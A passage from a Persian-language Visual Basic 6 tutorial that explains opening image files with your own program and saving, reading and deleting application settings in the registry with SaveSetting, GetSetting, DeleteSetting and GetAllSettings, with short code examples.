بعد از یک بار اجرا کردن و بستن برنامه، برید روی یکی از عکسهاتون دابل کلیک کنید که دو حالت پیش میاد : 1- برنامه شما اجرا میشه و عکس رو نشون میده.  2- کادر محاوره ای Open with... باز میشه و از شما میخواد که برنامه مورد نظرتون رو برای نمایش عکس انتخاب کنید؛ حالا کاری که شما باید بکنید اینه که به آدرس برنامتون برید و برنامه خودتونو برای نمایش عکس انتخاب کنید تا از این به بعد همیشه عکسها با برنامه شما باز بشن.

شما میتونید اینکارو برای پسوند هر فایلی انجام بدید، مثلاً میتونید پسوند .txt رو تعریف کنید و با گذاشتن یک TextBox تو فزمتون یک برنامه Notepad بسازید. به همین سادگی. موفق باشید.

ثبت تنظیمات و اطّلاعات برنامه در رجیستری (کاربردی)

خب اوّل یک مثال میزنم و بعد میرم سره آموزش تا بهتر یاد بگیرید.

یک پروژه جدید باز کنید و یک Command Button و یک TextBox بذارید تو فرمتون و کد زیر رو تو قسمت جنرال فرمتون کپی کنید :

Private Sub Command1_Click()
    SaveSetting App.Title, "Setting", "Value", Text1.Text
End Sub

Private Sub Form_Load()
    Text1.Text = GetSetting(App.Title, "Setting", "Value", "Hello")
End Sub

برنامه رو اجرا کنید و هر چی دلتون میخواد تو TextBox وارد کنید و بعد کلید Command1 رو بزنید و از برنامه خارج بشید. حالا اگه دوباره برنامه رو اجرا کنید میبینید متنی که دفعه قبل وارد کرده بودید سره جاشه و پاک نشده !

حالا بریم سره آموزش :

دستوات SeveSetting ، GetSetting ، DeleteSetting و GetAllSettings از توابع خود ویژوال بیسیک هستند و نیازی به فراخوانی اونا نیست. طرز کار این دستورات خیلی ساده ست، این دستورات فقط برای ثبت و بازیابی تنظیمات استفاده میشن و هیچ کار دیگه ای انجام نمیدن، در واقع محدوده عملیات این دستورات در رجیستری محدود به این آدرس است :

HKEY_CURRENT_USER\Software\VB and VBA Program Settings\نام برنامه\عملیات\اطّلاعات

یعنی شما با این دستوات نمیتونید به بخشهای دیگه رجیستری دسترسی داشته باشید. شکل کلّی این دستورات به صورت زیره :

Sub SaveSetting(AppName As String, Section As String, Key As String, Setting As String)
Function GetSetting(AppName As String, Section As String, Key As String, [Default]) As String
Function GetAllSettings(AppName As String, Section As String)
Sub DeleteSetting(AppName As String, [Section], [Key])

SevaSetting : این دستور بسیار ساده ست فکر کنم با توضیحات بالا دیگه نیازی به آموزش نیست، ببینید در واقع این دستور اولین کاری که میکنه، یک پوشه که بیانگر نام برنامه ست (AppName) در آدرسی که گفتم میسازه. بعدش میره سراغ پوشه بعدی (Section) یعنی عملیاتی که قراره انجام بدیم مثلاً اگر قراره که موقعیّت فرم رو ذخیره کنیم بهترین نامی که میتونیم برای این عملیات بذاریم Position است و بعد از اون هم کلید یا همون مقداری که باید ذخیره بشه مثل Top. به دستور زیر توجّه کنید :

SaveSetting "Project1", "Position", "Top", Me.Top

دستور فوق باعث ساخته شدن آدرس زیر میشه (قسمت پر رنگ) :

HKEY_CURRENT_USER\Software\VB and VBA Program Settings\Project1\Position\

که در اون آدرس هم، کلید یا همون فایل Top قرار داره که حاوی یک عدد است (موقعیّت بالای فرم). به این ترتیب ما تونستیم با این دستور اطّلاعاتی (موقعیّت قرم) رو در رجیستری ذخیره کنیم. حالا برای بدست آودرن این اطّلاعات باید از دستور GetSetting استفاده کنیم.

GetSetting : این دستور هم خیلی ساده ست. شما باید آدرس و کلید مورد نظرتون رو تعیین کنید تا این تابع مقدار کلید رو برگردونه. به دستور زیر توجّه کنید :

Me.Top = GetSetting("Project1", "Position", "Top", "2000")

دستور فوق اطلاعات داخله فایله Top رو برمیگردونه و به فرم انتصاب میده. امّا اون عدد 2000 چیه؟ خب باید بگم که اون مقدار پیش فرضه تا اگه کلید Top در مسیر داده شده وجود نداشت و نتونست مقداری رو برگردونه، از مقدار پیش فرض استفاده کنه تا دچار خطا نشه، اگه از این دستور در برنامه استفاده کنید و کلیدی رو که تعیین کردید یافت نشه مثل زمانی که برای اولین بار برنامه رو اجرا میکنید، با پیغام خطا روبرو خواهید شد.

DeleteSetting : این دستور برای پاک کردنه یک کلید (فایل) یا پوشه از مسیر داده شده ست. به عنوان مثال اگه شما بخواید کلید Top رو پاک کنید باید از دستور زیر استفاده کنید :

    DeleteSetting "Project1", "Position", "Top"

در دستور بالا کلید Top حذف میشه و اگه کلید Top رو تعیین نکنیم (DeleteSetting "Project1", "Position") پوشه Position پاک میشه و اگه پوشه Position رو هم تعیین نکنیم (DeleteSetting "Project1") پوشه Project1 حذف میشه. و مسلّماً در صورتی که فایل یا پوشه یافت نشه با پیغام خطا مواجه میشید. تا اینجا که خیلی ساده امّا تابع GetAllSettings کمی فرق میکنه.

GetAllSettings : این دستور کمی با دستورات قبلی تفاوت داره. اول با یک مثال شروع میکنم :

Private Sub Form_Load()
    Me.AutoRedraw = True
    Dim MySettings As Variant, intSettings As Integer
   
    SaveSetting "MyApp", "Startup", "Number1", 50
    SaveSetting "MyApp", "Startup", "Number2", 22
    SaveSetting "MyApp", "Startup", "Number3", 36
    SaveSetting "MyApp", "Startup", "Number4", 197
    SaveSetting "MyApp", "Startup", "FName", "Amir"
    SaveSetting "MyApp", "Startup", "LName", "Amiri"
    SaveSetting "MyApp", "Startup", "Message", "Hello My Friend"
   
    MySettings = GetAllSettings(appname:="MyApp", section:="Startup")
   
    For intSettings = LBound(MySettings, 1) To UBound(MySettings, 1)
        Print MySettings(intSettings, 0) & "   =   " & MySettings(intSettings, 1)
    Next intSettings
       
    DeleteSetting "MyApp"
End Sub